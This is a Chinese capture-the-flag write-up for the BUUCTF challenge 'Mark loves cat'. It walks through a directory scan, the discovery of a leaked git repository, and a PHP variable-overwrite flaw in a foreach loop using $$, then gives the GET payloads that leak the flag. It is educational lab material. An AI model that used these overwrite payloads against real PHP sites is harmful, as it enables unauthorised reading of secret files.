foreach循環導致變量覆蓋
前言
- 環境:Buuctf中[BJDCTF2020]Mark loves cat
- 知識點:foreach語法
- 參考:wp
做題
進去題目,f12審計,發現鏈接都是空鏈接,響應包無提示
dirsearch調低線程掃一下
dirsearch.py -u url -e * --timeout=2 -t 1 -x 400,403,404,500,503,429
掃到git泄露
源碼
index.php
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
flag.php
<?php
$flag = file_get_contents('/flag');
foreach
可以看到有兩種用法,一種是直接用值,一種用鍵和值
我一開始想着怎樣突破重重限制,到最后的直接echo$flag
,但是就是繞不過去。
思維固定了,exit也是一種輸出,並且這里存在變量覆蓋漏洞
foreach($_GET as $x => $y){
$$x = $$y;
}
利用變量覆蓋漏洞,構造
payload:yds=flag
經過處理就是$yds=$flag
,因為沒有設置$_GET[flag]
和$_POST[flag]
,導致exit($yds)
,而此時$yds
的值已經是flag{xxxxxxx}
了
還有另一種利用exit($is)
,構造
payload:is=flag&flag=flag
,經過處理就是$is=$flag
,此時$is
已經成了flag{xxxxxx}
了,但是為了exit(is)
,我們還是要令flag=flag
,最后輸出flag
錯誤姿勢
一開始我的想法是構造
GET:a=$flag
POST:flag=a
GET經處理之后就是$a=$flag
,經POST之后就是$flag=$a
,結果最后輸出的是$flag
,原因大概是我們GET和POST傳進去的字符是以單引號的形式,所以賦值的時候賦的是$flag
這個字符串。